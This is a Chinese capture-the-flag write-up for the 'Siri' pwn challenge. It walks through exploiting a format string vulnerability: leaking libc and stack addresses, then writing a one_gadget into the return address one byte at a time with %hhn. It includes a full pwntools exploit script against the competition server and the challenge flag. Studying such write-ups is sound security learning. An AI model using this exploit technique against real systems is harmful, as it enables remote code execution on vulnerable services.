[强网先锋] Siri

64位程序,保护全开

 

程序逻辑:

1、循环,每次要输入Hey Siri!才能进入功能函数。

2、其中漏洞函数是这个sub_1212函数,这里存在格式化字符串漏洞。

 

思路:

a、首先用该漏洞泄露出栈和libc的地址。

前一个是libc上的地址,为__libc_start_main+231的地址。(这里我一直用libc2.23的环境来调,但是libc2.23和libc2.27的环境有些不一样,在libc2.23的环境中,这里是__libc_start_main+240,所以调了好久。)

后一个为上一个栈帧的rbp的值。

 

b、用该漏洞来向返回地址中填入one_gadget。但是因为这里用了sprintf来将输入的内容拷贝到s中,所以会发生”\x00”阶段,因此得多次向返回地址写地址,这里选择写在main函数存返回地址的地方。这部分的脚本写的有点丑,需要执行多几次。

 

c、然后需要跳出循环,才能够执行one_gadget。这里我选择修改sub_1212函数的返回地址,

可以看出返回地址是0x4c结尾的。写完后就成功getshelll了

我们需要执行到的地址是以0xc1结尾的,因此只需要改掉最后一个字节即可。


 

 完整代码:

from pwn import *

context.clear(arch = 'amd64')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

#p = process("./Siri")
p = remote("123.56.170.202", 12124)
elf = ELF("./Siri")

#gdb.attach(p)

def Siri():
	p.sendlineafter(">>> ", "Hey Siri!")

exp = "Remind me to bbbbb"
Siri()
p.sendlineafter(">>> ", exp + "%83$p" + "%46$p")
p.recvuntil("bbbbb")

libc = int(p.recv(14), 16)
stack = int(p.recv(14), 16)
libc_base = libc - (0x21ab0 + 231)
rip_addr = stack + 0x8
one = libc_base + 0x10a45c

print "libc: " + hex(libc_base)
print "libc: " + hex(rip_addr)

k = []
for i in range(2,14,2):
	k.append(int(hex(one)[i:i+2], 16))
for i in range(6):
	a = k[i] - 0x1d
	if(a < 0):
		k[i] = a + 256
	elif(a >= 100 ):
		k[i] = a + 1
	elif(a >=0 and a < 10):
		k[i] = a - 1
	else:
		k[i] = a

for i in range(6):
	Siri()
	poc = "Remind me to b" + "b" * (3 - len(str(k[i]))) + "%" + str(k[i]) + "c%15$hhn" + p64(rip_addr + 5 - i)
	p.sendlineafter(">>> ", poc)

sleep(1)
Siri()
poc = "Remind me to b" + "%165c%15$hhn" + p64(stack - 0x118)
p.sendlineafter(">>> ", poc.ljust(0xf0, "\x00"))

p.interactive()

 

flag{957192265275077f73d0ea1dea5f27f9}

打赏还是打残,这是个问题
0x00 题目名称
[强网先锋] Funhash - Donek1
立即登录, 发表评论.
没有帐号? 立即注册
0 条评论